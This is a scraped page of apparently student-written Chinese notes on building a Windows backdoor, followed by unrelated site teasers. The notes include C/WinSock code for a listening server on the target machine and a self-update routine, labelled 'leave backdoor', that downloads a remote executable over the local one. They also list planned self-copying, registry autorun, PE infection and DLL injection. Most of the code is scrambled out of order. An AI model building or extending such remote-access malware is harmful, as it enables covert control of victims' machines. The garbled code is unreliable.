windows后门程序的心得与小技巧由刀豆文库小编整理,希望给你工作、学习、生活带来方便,猜你可能喜欢“windows使用小技巧”。
windows后门程序
目录
一.具体实现(已完成)
1.2.3.4.5.对话匡界面
弹框
按钮………………………………………………..2 窗口间消息…………………………………………………………………......2 编辑框:没有id?……………………………………………………………2 窗口重绘必须立即完成:……………………………………………………….2 创建线程(beginthreadex为何未定义?)…………………………………………2
6.c/s聊天……………………………………………………………………3 7.获取本机ip…………………………………………………………………7 8.9.向本机自动更新
(留后门)………………………………………………8 域名转换函数………………………………………………………、……12 10.去除http协议响应头…………………………………………………12
二.未完成…………………………………………………………….13 三.心得体会…………………………………………………………..14 套接字收发整形数据C库函数与windows函数,.代码量与可移植性
套接字接收缓冲区应该大一些? .套接字接收绑定 自动补充路径
域名转换ip
一. 已完成1.对话匡界面
弹框
按钮
hbut2=CreateWindow(TEXT(“edit”),NULL,WS_CHILD|WS_VISIBLE|WS_BORDER|BS_TEXT,10,30,100,25,hwnd,(HMENU)3,hinst,NULL);hbut3=CreateWindow((“button”),(“
发
送”),WS_CHILD|WS_VISIBLE|BS_PUSHBUTTON,300,300,100,30,hwnd,(HMENU)2,hinst,NULL);
2.窗口间消息
SendMeage(hwnd,WM_PAINT,wparam,lparam);3.编辑框:没有id?
GetWindowText(hbut2,str_buf,10);得到文本 //GetDlgItemText(hbut2,3,str_buf,10);得到空?
4.窗口重绘必须立即完成:
UpdateWindow(hwnd);InvalidateRect(hwnd,NULL,TRUE);5.创建线程(beginthreadex为何未定义?)
int WINAPI threadproc(sock_block* dwtherdparam){ } HANDLE initthread(sock_block* dwtherdparam){
DWORD threadid;//_beginthreadex???未定义????? dwtherdparam->dwrd=NULL;dwtherdparam->addr=“192.168.127.0”;dwtherdparam->honst=NULL;HANDLE h_thread=(HANDLE)CreateThread(NULL, 0,(LPTHREAD_START_ROUTINE)threadproc,(void*)dwtherdparam, 0, &threadid);return 0;return h_thread;} 6.c/s聊天
通过将目标机设置能服务器,本地机设置成客户端来实现,具体是目标创建线程,来开放端口 监听套接字,(将目标设置成服务器是因为 服务器可以长时间运行 能够满足客户端随机登陆的要求 并且性能消耗不大)。
服务器用两个并行线程来实现发送与接收,发送被设置在了窗口主线程内,接收则与监听等都在新线程内。
窗口通过按钮触发发送,接收则通过selsect()阻塞/唤醒机制实现异步。
通过这个功能,得到一些结论,一个进程能不同线程间通信等需要很多全局变量,这些变量能够被不同线程使用,不过这使得线程间通信的唯一一个指针变量变得奇怪(多余),可能当线程间通信内容与线程复杂度不同时,这个指针变得更方便些。
问题:将目标设置成服务器不能得到目标的ip,与本客户端不能建立连接(难道要再加一个本地服务器端
通过目标客户端发送ip?)
线程函数的写法:
int WINAPI threadproc(sock_block* dwtherdparam){
WSADATA wsaData;SOCKADDR_IN seraddr,cliaddr;ULONG sockmode;int sockok,totalsock=0;int i=0,j=0;struct fd_set fdwrite,fdread;//char buf[10],buf0[10];sock_buf a,flag;a.a=new char[50];flag.a=new char[50];int buflen=sizeof(flag.a);//int BUFLEN =sizeof(buf);int addrlen=sizeof(seraddr);int cliaddrlen=sizeof(cliaddr);//long code;int b=0,k,l,m;char *temp=new char[50];//本想用于循环接收暂存的但是接收缓存变大即可 seraddr.sin_family=AF_INET;seraddr.sin_port=htons((short)dwtherdparam->honst);//seraddr.sin_addr.s_addr=inet_addr(“127.0.0.1”);seraddr.sin_addr.s_addr=inet_addr(dwtherdparam->addr);if(WSAStartup(MAKEWORD(2,0), &wsaData)!= 0){
} if((listensocket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)printf(“error1”);return-1;
{
} if(SOCKET_ERROR==bind(listensocket,(SOCKADDR*)&seraddr,addrlen)){
}
if(SOCKET_ERROR==listen(listensocket,5)){
} printf(“wait ask”);sockmode=1;
if(SOCKET_ERROR==ioctlsocket(listensocket,FIONBIO,&sockmode)){
} printf(“error on ioctl”);return-1;printf(“error4”);return-1;printf(“error3”);return-1;printf(“error2”);return-1;
while(1){
FD_ZERO(&fdread);FD_ZERO(&fdwrite);FD_SET(listensocket,&fdread);
for(i=0;(i
}
if(SOCKET_ERROR==(sockok=select(NULL,&fdread,NULL,NULL,NULL))){
}
if(FD_ISSET(listensocket,&fdread)){ sockok--;printf(“error on select”);return-1;FD_SET(tempsocket,&fdread);FD_SET(tempsocket,&fdwrite);
}
if(INVALID_SOCKET==(newconnection=accept(listensocket,(SOCKADDR*)&cliaddr,&cliaddrlen))){
} else {
}
if(SOCKET_ERROR==ioctlsocket(newconnection,FIONBIO,&sockmode)){
}
printf(“error on ioctl”);return-1;
tempsocket=newconnection;dwtherdparam->cin_flag=1;printf(“come”);totalsock++;
printf(“error5”);return-1;
if(FD_ISSET(newconnection,&fdread)){ memset(flag.a,0,buflen);memset(temp,0,buflen);
dwtherdparam->strin=' ';
for(k=0 ,l=0,j=0;(j=recv(newconnection,flag.a,buflen,0))>0;){
if(j
{ //
} for(k+=j,m=0;l
printf(“error on recv long”);return-1;break;
}
} {
temp[l]=flag.a[m];temp[l+1]=' ';}
}
dwtherdparam->strin=temp;
UpdateWindow(hwnd);
InvalidateRect(hwnd,NULL,TRUE);memset(flag.a,0,buflen);if(FD_ISSET(newconnection,&fdwrite)){
sockok--;if(dwtherdparam->cin_flag){
}
a.a=dwtherdparam->strout;
if((b=send(newconnection,a.a,buflen,0))
}
printf(“error on send”);return-1;} }
closesocket(listensocket);closesocket(newconnection);closesocket(tempsocket);WSACleanup();return 0;HANDLE initthread(sock_block* dwtherdparam){ DWORD threadid;//_beginthreadex???未定义?????
dwtherdparam->addr=“127.0.0.1”;dwtherdparam->honst=8889;dwtherdparam->cin_flag=0;HANDLE h_thread=(HANDLE)CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)threadproc,(void*)dwtherdparam,0,&threadid);return h_thread;}
7.获取本机ip
char name[255];//用于存放主机名 PHOSTENT hostinfo;
if(gethostname(name, sizeof(name))== 0)
{
//判断是否成功的将本地主机名存放入由name参数指定的缓冲区中
if((hostinfo = gethostbyname(name))!= NULL)
{
//如果获得主机名成功的话,调用inet_ntoa()函数取得IP地址
LPCSTR ip = inet_ntoa(*(struct in_addr *)*hostinfo->h_addr_list);
printf(“本机的IP地址是:%sn”,ip);//输出IP地址
printf(“本机的名称是:%sn”,name);
} }
8.向本机自动更新
(留后门)
发送询问
得到版本号 与文件大小(得到这个文件大小不一定会用到 但是 为了后面下载主文件更顺利,这点牺牲是值得的)比对之后决定更新 发送更新请求 接收文件
int chack_update(SOCKET &scon,FILE *&fp_file_info,char*& bufout,NEW_FILE_INFO &new_file_info){
当不需更新时会浪费,} //send 询问 //接收版本号 // 对比
float host_v=0;new_file_info.new_version=0;if((fp_file_info=fopen(FILE_INFO_PATH,“rb+”))
} if(fscanf(fp_file_info,“%f”,&host_v)
}
bufout=“q”;if(send(scon,bufout,1,0)==SOCKET_ERROR){
} if(recv(scon,new_file_info.buf,BUFLEN,0)==SOCKET_ERROR){
} MeageBox(hwnd,“update error”,ERROR,MB_OK);return-1;MeageBox(hwnd,“update error”,ERROR,MB_OK);return-1;MeageBox(hwnd,“update error at read file”,ERROR,MB_OK);return-1;MeageBox(hwnd,“update error at open file”,ERROR,MB_OK);return-1;if((host_v)&&(new_file_info.new_version==host_v)){ } else return 0;return 1;int update_(SOCKET &scon,FILE *& fp_file_info,FILE *&fp_main_file,char*& bufout,char *&bufin,NEW_FILE_INFO &new_file_info){
// 更新版本信息文件ini //send请求下载 // // // recv copY文件替换旧的write日志(包括时间
版本 备注 短短几句话)
} int end_update_(SOCKET &scon,FILE *&fp_file_info,FILE *&fp_main_file,char*& bufin){
__try
{
if(fp_file_info){ fclose(fp_file_info);bufin=new char[new_file_info.new_file_len];
memset(bufin,0,new_file_info.new_file_len);//初始化缓冲区 bufout=“g”;//get main
if(send(scon,bufout,1,0)==SOCKET_ERROR){
} MeageBox(hwnd,“update error at send g”,ERROR,MB_OK);return-1;if(!(fp_main_file=fopen(FILE_MAIN_PATH,“wb+”)))
//打开已有或创建一个二进制文件 {
} MeageBox(hwnd,“update error at open main file”,ERROR,MB_OK);return-1;if(recv(scon,bufin,new_file_info.new_file_len,0)==SOCKET_ERROR)//接收主文件 {
} MeageBox(hwnd,“update error at recv main file”,ERROR,MB_OK);return-1;if(fwrite(bufin,new_file_info.new_file_len,1,fp_main_file)
} rewind(fp_file_info);if(fprintf(fp_file_info,“%f”,new_file_info.new_version)
} return 0;MeageBox(hwnd,“update error at write main file”,ERROR,MB_OK);return-1;MeageBox(hwnd,“update error at write main file”,ERROR,MB_OK);return-1;
}
} } if(fp_main_file){ } if(scon){
} if(bufin){ } delete(bufin);closesocket(scon);WSACleanup();fclose(fp_main_file);__finally { } return 0;return-1;int update_main(){
if(initsock(scon)!=0){
} p2=“正在初始化”;UpdateWindow(hwnd);InvalidateRect(hwnd,NULL,TRUE);int n=0;if((n=chack_update(scon,fp_file_info,bufout,new_file_info))==0)MeageBox(hwnd,“更新初始化失败”,“门”,MB_OK);return-1;SOCKET scon;FILE *fp_file_info,*fp_main_file;fp_file_info=fp_main_file=' ';char *bufin=' ',*bufout=' ';NEW_FILE_INFO new_file_info;
} { p2=“需要更新”;UpdateWindow(hwnd);InvalidateRect(hwnd,NULL,TRUE);
}
else if(n==1){
end_update_(scon,fp_file_info,fp_main_file,bufin);MeageBox(hwnd,“已经最新了2b”,“2b啊”,MB_OK);p2=“完~”;UpdateWindow(hwnd);if(update_(scon,fp_file_info,fp_main_file,bufout,bufin,new_file_info)==0)
else {
} end_update_(scon,fp_file_info,fp_main_file,bufin);MeageBox(hwnd,“更新失败,请检查网络”,“门”,MB_OK);return-1;
MeageBox(hwnd,“更新成功”,“门”,MB_OK);InvalidateRect(hwnd,NULL,TRUE);} else {
} if(end_update_(scon,fp_file_info,fp_main_file,bufin)!=0){
} return 0;
return-1;end_update_(scon,fp_file_info,fp_main_file,bufin);return-1;return-1;9.域名转换函数
HOSTENT *remot;
remot= gethostbyname(“img.ivsky.com”);//获得域名的ip if(remot==NULL){ DWORD er=GetLastError();
} return-1;in_addr pttr;memcpy(&pttr,remot->h_addr_list[0],4);//复制域名转换得到的ip到新定义的地址变量中,这是不可或char *ip=inet_ntoa(pttr);
//将存储顺序修改为net 缺的,因为可读性好,且正确
addr.sin_addr.s_addr = inet_addr(ip);// 填充ip地址
10.去除http协议响应头
int delete_http_header(SOCKET s,char *strBuffer,int &body_lenght)
{ //返回当前文件主体的位置
for(int break_flag=0;break_flag==0;){
// //去除http响应头部
strset(strBuffer,' ');
//
int iResult = recv(s,strBuffer,BUFLENGHT,0);if(iResult
} for(int i=0;(i
if(strBuffer[i]=='C'){
} if(end_flag==4){ return } if((strBuffer[i]=='r')||(strBuffer[i]=='n')){
i;if(strBuffer[i+9]=='e'){ }
body_lenght=atoi(&strBuffer[i+15]);
iResult=GetLastError();break;iResult = recv(s,status,sizeof(status),0);int end_flag=0;//头结束
}
}
}
} end_flag++;continue;
end_flag=0;二.未完成复制自身
后修改注册表自启动
融合(聊天,更新,查ip,窗口间通信)
Pe文件注入代码,(需要汇编??内存映射文件??)pe文件有效性
dll注入
弹窗聊天(完成端口?俩线程?多个客户端连接??)
Strcpy? 三.心得
套接字收发整形数据的时候,因为缓冲区是char*型,所以可以用一个联合体来解决。
union{ char a[sizeof[int]]; int b; } C库函数与windows函数, 考虑到今后移植linux系统,尽管windows系统函数在windows中运行效率更高,但是权衡之后还是尽量采用c库函数(例如文件操作)
.代码量与可移植性
在这几个小程序中,因为是探索未知性的编写,所以对可移植性与可读性的要求不高,增加可移植性会相应增加代码量,这不是这几个小程序应该做的,当将这些技术掌握成熟的时候,会再积累可移植代码的。
套接字接收缓冲区应该大一些?
曾经接收的缓冲区是固定的且不很大,那么接收大文件的时候就要循环接收多次,每次都写文件,直到文件接收完全。 那么提前得知文件大小,将缓冲区直接设置成文件大小呢?只需写一次文件就可以了,能否提高效率并且保证安全性(文件太大 丢包 写入错误等) 这也是为了降低代码量与复杂度。。
.套接字接收绑定
bind可以在同一个ip下绑定多个端口 互不影响。 自动补充路径
系统编译的时候就需要进行字符串的检查
发现 ’ ’ 则检查后面一位字符,当不是特定字符的时候,编译不能通过,所以不必也不能用程序来补充路径。
域名转换ip
域名直接使用”www.xxx.xx”就可以,不必也不能写http://www.xx.xx/;
Ginwui后门程序分析(精选8篇)由网友“你滴岛岛”投稿提供,以下文章小编为您整理的Ginwui后门程序分析,供大家阅读。篇1:Ginwui后门程序分析 今年5月19日CVE发布编号为CVE--2492安......
Window系统安全技巧系统光盘个人比较喜欢使用雨林木风安装版或者GHOST版,纯净无插件,破解和优化得都比较好。使用电脑公司装机版也可以,番茄花园以前做得不错,现在的版本插件比......
淘宝刚开张我就在那儿注册了,等到有了支付宝,我才开始在淘宝购物,并迷上了网络购物。因为淘宝,我几乎不逛商场,很多商场销售的商品都差不多,甚至完全一样,根本没有特色。逛街购物又......
铲货心得与技巧记得老刘曾经在某个贴子中说过,手里所收藏之物,皆由县乡村一线铲货得来。从来没从大中城市古玩市场买过东西。雅昌论坛上有不少铲子,但是老刘这个铲子和他们不同......
window程序课程设计简单的学生信息 管理应用程序学生姓名: 韩 慧 学生学号: 031140312 班 级: 031140--3二〇一三年十二月 简单的学生信息管理应用程序一、设计目的、内容及要......